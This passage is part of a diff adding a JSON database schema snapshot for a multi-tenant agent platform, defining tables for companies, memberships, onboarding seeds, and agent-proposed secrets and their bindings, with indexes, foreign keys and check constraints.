+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cli_auth_challenges_approved_by_user_id_user_id_fk": {
+          "name": "cli_auth_challenges_approved_by_user_id_user_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "user",
+          "columnsFrom": [
+            "approved_by_user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cli_auth_challenges_board_api_key_id_board_api_keys_id_fk": {
+          "name": "cli_auth_challenges_board_api_key_id_board_api_keys_id_fk",
+          "tableFrom": "cli_auth_challenges",
+          "tableTo": "board_api_keys",
+          "columnsFrom": [
+            "board_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.companies": {
+      "name": "companies",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_prefix": {
+          "name": "issue_prefix",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'PAP'"
+        },
+        "issue_counter": {
+          "name": "issue_counter",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "budget_monthly_cents": {
+          "name": "budget_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "spent_monthly_cents": {
+          "name": "spent_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "attachment_max_bytes": {
+          "name": "attachment_max_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 10485760
+        },
+        "default_responsible_user_id": {
+          "name": "default_responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "require_board_approval_for_new_agents": {
+          "name": "require_board_approval_for_new_agents",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "interaction_resolver_governance": {
+          "name": "interaction_resolver_governance",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "feedback_data_sharing_enabled": {
+          "name": "feedback_data_sharing_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "feedback_data_sharing_consent_at": {
+          "name": "feedback_data_sharing_consent_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "feedback_data_sharing_consent_by_user_id": {
+          "name": "feedback_data_sharing_consent_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "feedback_data_sharing_terms_version": {
+          "name": "feedback_data_sharing_terms_version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "brand_color": {
+          "name": "brand_color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "companies_issue_prefix_idx": {
+          "name": "companies_issue_prefix_idx",
+          "columns": [
+            {
+              "expression": "issue_prefix",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_logos": {
+      "name": "company_logos",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "asset_id": {
+          "name": "asset_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_logos_company_uq": {
+          "name": "company_logos_company_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_logos_asset_uq": {
+          "name": "company_logos_asset_uq",
+          "columns": [
+            {
+              "expression": "asset_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_logos_company_id_companies_id_fk": {
+          "name": "company_logos_company_id_companies_id_fk",
+          "tableFrom": "company_logos",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_logos_asset_id_assets_id_fk": {
+          "name": "company_logos_asset_id_assets_id_fk",
+          "tableFrom": "company_logos",
+          "tableTo": "assets",
+          "columnsFrom": [
+            "asset_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_memberships": {
+      "name": "company_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_type": {
+          "name": "principal_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "principal_id": {
+          "name": "principal_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "membership_role": {
+          "name": "membership_role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_memberships_company_principal_unique_idx": {
+          "name": "company_memberships_company_principal_unique_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_memberships_principal_status_idx": {
+          "name": "company_memberships_principal_status_idx",
+          "columns": [
+            {
+              "expression": "principal_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "principal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_memberships_company_status_idx": {
+          "name": "company_memberships_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_memberships_company_id_companies_id_fk": {
+          "name": "company_memberships_company_id_companies_id_fk",
+          "tableFrom": "company_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_onboarding_seeds": {
+      "name": "company_onboarding_seeds",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision": {
+          "name": "revision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mission": {
+          "name": "mission",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_name": {
+          "name": "agent_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_role": {
+          "name": "agent_role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_task_title": {
+          "name": "first_task_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_task_details": {
+          "name": "first_task_details",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "applied_at": {
+          "name": "applied_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_onboarding_seeds_company_uq": {
+          "name": "company_onboarding_seeds_company_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_onboarding_seeds_company_id_companies_id_fk": {
+          "name": "company_onboarding_seeds_company_id_companies_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_goal_id_goals_id_fk": {
+          "name": "company_onboarding_seeds_goal_id_goals_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_agent_id_agents_id_fk": {
+          "name": "company_onboarding_seeds_agent_id_agents_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_onboarding_seeds_issue_id_issues_id_fk": {
+          "name": "company_onboarding_seeds_issue_id_issues_id_fk",
+          "tableFrom": "company_onboarding_seeds",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_bindings": {
+      "name": "company_secret_bindings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "version_selector": {
+          "name": "version_selector",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'latest'"
+        },
+        "required": {
+          "name": "required",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "projection_class": {
+          "name": "projection_class",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unclassified'"
+        },
+        "projection_allowlist_key": {
+          "name": "projection_allowlist_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_bindings_company_idx": {
+          "name": "company_secret_bindings_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_secret_idx": {
+          "name": "company_secret_bindings_secret_idx",
+          "columns": [
+            {
+              "expression": "secret_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_target_idx": {
+          "name": "company_secret_bindings_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_bindings_target_path_uq": {
+          "name": "company_secret_bindings_target_path_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "config_path",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_bindings_company_id_companies_id_fk": {
+          "name": "company_secret_bindings_company_id_companies_id_fk",
+          "tableFrom": "company_secret_bindings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secret_bindings_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_bindings_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_bindings",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_secret_proposals": {
+      "name": "company_secret_proposals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "proposed_name": {
+          "name": "proposed_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_key": {
+          "name": "proposed_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_description": {
+          "name": "proposed_description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "justification": {
+          "name": "justification",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value_ciphertext": {
+          "name": "value_ciphertext",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "value_fingerprint_sha256": {
+          "name": "value_fingerprint_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "value_length": {
+          "name": "value_length",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_id": {
+          "name": "secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "secret_proposal_id": {
+          "name": "secret_proposal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "config_path": {
+          "name": "config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "projection_class": {
+          "name": "projection_class",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unclassified'"
+        },
+        "binding_target_policy_snapshot": {
+          "name": "binding_target_policy_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposer_ancestor_ids_snapshot": {
+          "name": "proposer_ancestor_ids_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_ancestor_ids_snapshot": {
+          "name": "target_ancestor_ids_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "proposed_by_agent_id": {
+          "name": "proposed_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolution_reason": {
+          "name": "resolution_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_secret_id": {
+          "name": "created_secret_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "applied_binding_config_path": {
+          "name": "applied_binding_config_path",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "ciphertext_scrubbed_at": {
+          "name": "ciphertext_scrubbed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_secret_proposals_company_status_idx": {
+          "name": "company_secret_proposals_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_proposer_status_idx": {
+          "name": "company_secret_proposals_proposer_status_idx",
+          "columns": [
+            {
+              "expression": "proposed_by_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_expiry_idx": {
+          "name": "company_secret_proposals_expiry_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_secret_proposals_secret_proposal_idx": {
+          "name": "company_secret_proposals_secret_proposal_idx",
+          "columns": [
+            {
+              "expression": "secret_proposal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_secret_proposals_company_id_companies_id_fk": {
+          "name": "company_secret_proposals_company_id_companies_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_proposals_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_secret_proposal_id_company_secret_proposals_id_fk": {
+          "name": "company_secret_proposals_secret_proposal_id_company_secret_proposals_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secret_proposals",
+          "columnsFrom": [
+            "secret_proposal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_target_id_agents_id_fk": {
+          "name": "company_secret_proposals_target_id_agents_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "target_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_proposed_by_agent_id_agents_id_fk": {
+          "name": "company_secret_proposals_proposed_by_agent_id_agents_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "proposed_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_origin_issue_id_issues_id_fk": {
+          "name": "company_secret_proposals_origin_issue_id_issues_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "origin_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_origin_run_id_heartbeat_runs_id_fk": {
+          "name": "company_secret_proposals_origin_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "origin_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_secret_proposals_created_secret_id_company_secrets_id_fk": {
+          "name": "company_secret_proposals_created_secret_id_company_secrets_id_fk",
+          "tableFrom": "company_secret_proposals",
+          "tableTo": "company_secrets",
+          "columnsFrom": [
+            "created_secret_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "company_secret_proposals_kind_check": {
+          "name": "company_secret_proposals_kind_check",
+          "value": "\"company_secret_proposals\".\"kind\" in ('secret', 'binding')"
+        },
+        "company_secret_proposals_status_check": {
+          "name": "company_secret_proposals_status_check",
+          "value": "\"company_secret_proposals\".\"status\" in ('pending', 'approved', 'rejected', 'withdrawn', 'expired')"
+        },
+        "company_secret_proposals_projection_check": {
+          "name": "company_secret_proposals_projection_check",
+          "value": "\"company_secret_proposals\".\"projection_class\" = 'unclassified'"
+        },
+        "company_secret_proposals_shape_check": {
+          "name": "company_secret_proposals_shape_check",
+          "value": "(\n      \"company_secret_proposals\".\"kind\" = 'secret'\n      and \"company_secret_proposals\".\"proposed_name\" is not null\n      and \"company_secret_proposals\".\"proposed_key\" is not null\n      and \"company_secret_proposals\".\"secret_id\" is null\n      and \"company_secret_proposals\".\"secret_proposal_id\" is null\n      and \"company_secret_proposals\".\"target_type\" is null\n      and \"company_secret_proposals\".\"target_id\" is null\n      and \"company_secret_proposals\".\"config_path\" is null\n    ) or (\n      \"company_secret_proposals\".\"kind\" = 'binding'\n      and ((\"company_secret_proposals\".\"secret_id\" is not null)::int + (\"company_secret_proposals\".\"secret_proposal_id\" is not null)::int) = 1\n      and \"company_secret_proposals\".\"target_type\" = 'agent'\n      and \"company_secret_proposals\".\"target_id\" is not null\n      and \"company_secret_proposals\".\"config_path\" is not null\n    )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.company_secret_provider_configs": {
+      "name": "company_secret_provider_configs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "display_name": {
+          "name": "display_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'ready'"
+        },
+        "is_default": {
+          "name": "is_default",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_checked_at": {
+          "name": "health_checked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_details": {
+          "name": "health_details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "disabled_at": {
+          "name": "disabled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
